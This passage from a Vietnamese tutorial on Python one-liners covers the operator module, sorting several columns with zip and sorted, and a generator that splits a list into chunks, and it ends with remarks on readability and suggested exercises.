Module operator cung cấp cách dùng các toán tử như các hàm. Trong ví dụ 1 thực tế chúng ta dùng toán tử in thông thường. Các toán tử dùng như các hàm cho phép kết hợp với các hàm built-in khác để viết các lệnh Python rất ngắn gọn và thuận tiện. Một ví dụ (được lấy trong tài liệu Python) tính tích vô hướng hai vector:

sum(map(operator.mul, vector1, vector2))

Thật khó để viết ngắn hơn và chạy nhanh hơn như vậy. Các ví dụ trên càng nói rõ hơn điều tôi đã nhấn mạnh ở mục 3: các phiên bản Python càng về sau càng hỗ trợ tốt hơn việc viết các mã ngắn gọn và hiệu quả. Tuy vậy bạn phải cân nhắc lựa chọn giải pháp đúng cho phiên bản Python mà nó sẽ chạy.

6. Sắp xếp nhiều column

Cho các column a,b,c…có cùng kích thước. Hãy sắp xếp chúng theo thứ tự a,b,c.... Nội dung các dòng không thay đổi. Dưới đây là một ví dụ triển khai với 2 cột a, b:

>>> a = [3,3,2,2,1,1]
>>> b = ["c", "b", "b", "a", "c", "a"]
>>> a, b = zip(*sorted(zip(a, b)))
>>> a
(1, 1, 2, 2, 3, 3)
>>> b
('a', 'c', 'a', 'b', 'b', 'c')

Thật tuyệt!!!. Chúng đơn giản đến mức khó có thể ngắn gọn hơn nữa. Công thức trên trọn vẹn trên một dòng có ít hơn 80 ký tự. Tất cả chỉ có 4 lệnh. Ít nhất nó cũng gây cho tôi nhiều sự phấn khích và ngạc nhiên. Và các bạn sẽ thấy trên nhiều forum Python, việc tìm kiếm các “One-Liner” thực sự là thú vị và là trò chơi hấp dẫn của các Python guru.

7. Tổng kết

Khi kích thước dữ liệu đầu vào lớn một số trong các hàm trả về list trên đây cần được thay thế bằng các hàm trạng thái. Chẳng hạn việc chia một list thành nhiều list bằng nhau nên viết thành hàm trạng thái, sẽ dùng ít bộ nhớ và nhanh hơn:

def SplitInto(a, n):
    start = 0
    end = len(a) % n and len(a)/n + 1 or len(a)/n
    
    while start < end:
        yield a[start * n: (start + 1) * n]
        start += 1

Chuẩn viết mã Python là không quá 80 ký tự trên một dòng. Python One-Liner viết hết các lệnh Python trên một dòng, làm cho các line dài hơn bình thường. Mã Python khó đọc và khó hiểu hơn do cách viết cô đọng, các biến được đặt tên ngắn. Với các bài toán không mang tính cơ bản, các bạn nên hạn chế viết theo cách này.

Các chương trình viết trên một dòng không có nghĩa là nhanh nhất. Thậm chí trong đa số các trường hợp để viết trên một dòng người ta phải chọn cách viết mất nhiều thời gian chạy hơn. Do vậy khi kích thước dữ liệu lớn, tốt hơn hết hãy lựa chọn cách viết tối ưu, và chấp nhận mã dài hơn.

Tôi hi vọng rằng các bạn sẽ thích thú với các ví dụ trên đây. Chắc chắn còn nhiều cách giải khác cho mỗi vấn đề mà tôi đã nêu ra. Nếu các bạn tìm thấy chúng xin hãy vui lòng comment để mọi người cùng biết. Điều sau cùng tôi muốn nhấn mạnh là tuy việc tìm kiếm các lời giải một dòng cho mỗi vấn đề chỉ đơn giản là thú vui, ít mang tính ứng dụng - nhưng chúng thực sự sẽ thúc đẩy việc học hỏi và tìm kiếm kinh nghiệm của chúng ta.

Một số bài tập Python có thể triển khai trên một dòng:

  • Tạo ma trận đơn vị kích thước bất kỳ
  • Triển khai sàng Sieve of Eratosthenes
  • Triển khai dãy số Fibonacci.
  • Tạo một list chứa tất cả các hoán vị của một list khác (các phần tử có thể bằng nhau).

Hoaiptm.